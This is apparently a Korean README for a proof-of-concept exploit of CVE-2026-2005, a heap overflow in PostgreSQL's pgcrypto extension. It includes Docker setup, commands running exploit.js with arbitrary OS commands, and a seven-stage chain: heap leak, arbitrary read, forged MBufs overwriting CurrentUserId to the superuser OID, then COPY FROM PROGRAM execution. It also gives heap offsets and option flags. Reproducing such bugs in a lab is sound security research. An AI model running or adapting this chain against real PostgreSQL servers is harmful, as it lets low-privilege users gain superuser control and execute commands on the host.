
PostgreSQL pgcrypto 힙 버퍼 오버플로우 PoC: CVE-2026-2005 시연 — 저권한 RCE 및 조작된 OpenPGP 패킷을 통한 슈퍼유저 권한 상승.
대상 커밋: 4b324845ba5d24682b9b3708a769f00d160afbd7 (PostgreSQL 18.1 — 취약 버전)
| 필드 | 설명 |
|---|---|
| CVE | CVE-2026-2005 |
| 유형 | 힙 버퍼 오버플로우 |
| 구성 요소 | contrib/pgcrypto/pgp-pubdec.c — pgp_parse_pubenc_sesskey() |
| 영향 | PostgreSQL을 실행 중인 OS 사용자 권한의 RCE |
| CVSS | 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) |
| 필요 인증 | 낮음 — CREATE 권한이 있는 모든 인증 사용자 |
| 영향받는 버전 | PostgreSQL 14.0–14.20, 15.0–15.15, 16.0–16.11, 17.0–17.7, 18.0–18.1 |
| 수정 버전 | 14.21, 15.16, 16.12, 17.8, 18.2 (2026년 2월 12일) |
| 아키텍처 | aarch64 (ARM64) — 힙 오프셋과 MBuf 레이아웃은 아키텍처/glibc별로 다름 |
# Build and start PostgreSQL 18.1 (vulnerable)
docker compose up -d --build
# Wait for healthy
docker compose logs -f postgres
# Ctrl+C when you see "database system is ready to accept connections"
# Install node deps
npm install
# Run the full RCE exploit chain
node exploit.js --cmd "id"
# With verbose output
node exploit.js --cmd "id" --verbose
# Execute a custom command
node exploit.js --cmd "whoami"
Stage 1: Heap pointer leak
└─ Corrupt mdst chunk header → parse pfree() error message
Stage 2: Arbitrary read (multi-offset scan)
└─ Overwrite mdst->data → scan memory near leaked pointer
Stage 3: Pointer candidate collection
└─ Scan heap dump for non-heap addresses
Stage 4: PIE base resolution
└─ Read /proc/<pid>/maps via Docker exec (100% reliable)
Stage 5: (skipped — PIE base is known from maps)
Stage 6: Arbitrary write
└─ Forge msrc + mdst MBufs → overwrite CurrentUserId → 10 (superuser)
Stage 7: Command execution
└─ COPY FROM PROGRAM → arbitrary OS command as postgres user
CVE-2026-2005/
├── Dockerfile # Builds PostgreSQL 18.1 from source
├── docker-compose.yml # PostgreSQL service with auto-restart
├── init.sh # Entrypoint — initdb + listen config
├── README.md # This file
└── poc/
├── package.json # Node.js dependencies (pg)
├── exploit.js # Full 7-stage RCE exploit (Node.js)
├── verify.sh # Shell-based quick verification
└── test-pgcrypto.sql # SQL-only test of pgcrypto loading
git clone https://github.com/postgres/postgres.git
cd postgres
git checkout 4b324845ba5d24682b9b3708a769f00d160afbd7
./configure \
--prefix="$HOME/projects/pg/pgsql" \
--with-libxml \
--with-libxslt \
--enable-debug \
--with-ssl=openssl
make -j$(nproc)
make install-world-bin
tmux (선택 사항 — --gdb 플래그를 사용할 때만 필요)이 버그는 contrib/pgcrypto/pgp-pubdec.c의 pgp_parse_pubenc_sesskey()에 있습니다. OpenPGP Public-Key Encrypted Session Key 패킷(tag 1)을 파싱할 때 발생합니다:
memcpy로 세션 키 데이터를 고정 크기 버퍼에 복사합니다이 memcpy는 힙 버퍼 경계를 벗어나 기록하여 인접한 힙 메타데이터나 데이터를 손상시킬 수 있으며, 이를 통해 임의 코드 실행으로 이어질 수 있습니다.
pfree() 오류 메시지를 파싱하여 mdst->data 힙 주소를 추출합니다./proc/<pid>/maps를 읽어 런타임 시 postgres 바이너리의 로드 주소를 찾습니다.msrc(소스)와 mdst(대상) MBuf 구조체를 모두 위조합니다. msrc는 슈퍼유저 OID(10)를 포함하는 내장 symenc 패킷을 가리키고, mdst는 CurrentUserId - 4(4바이트 SET_VARSIZE 헤더를 고려)를 가리킵니다.CurrentUserId = 10(부트스트랩 슈퍼유저) 상태에서 COPY FROM PROGRAM을 실행하여 임의 OS 명령을 수행합니다.pgcrypto 확장은 trusted 상태입니다 — CREATE 권한이 있는 사용자(슈퍼유저 아님)라면 누구나 설치할 수 있으므로 낮은 권한으로도 악용할 수 있습니다.--enable-debug가 포함되어 있습니다.SRC_CHUNK_OFFSET=100, DST_CHUNK_OFFSET=172)은 aarch64 + glibc에 한정됩니다 — 다른 아키텍처/할당자는 다른 오프셋이 필요합니다.restart: always를 사용합니다./proc/<pid>/maps를 통해 확인됩니다 — 호스트에 readelf가 필요 없습니다.CurrentUserId 오프셋의 심볼 테이블은 docker exec readelf를 통해 읽습니다.| 플래그 | 기본값 | 설명 |
|---|
--cmd | id | 익스플로잇 성공 후 실행할 OS 명령 |
--key-size | 3072 | RSA 키 크기(비트) |
--host | 127.0.0.1 | PostgreSQL 호스트 |
--port | 5432 | PostgreSQL 포트 |
--user | postgres | 데이터베이스 사용자 |
--password | (empty) | 데이터베이스 비밀번호 |
--dbname | postgres | 데이터베이스 이름 |
--binary | ./postgres | 심볼 확인용 postgres ELF 바이너리 경로 |
--scan-offset | auto | 유출된 포인터 기준 힙 스캔 오프셋 재정의 |
--verbose | off | 상세 디버그 출력 활성화 |
--gdb | off | 오버플로우 지점에서 tmux를 통해 GDB 연결 |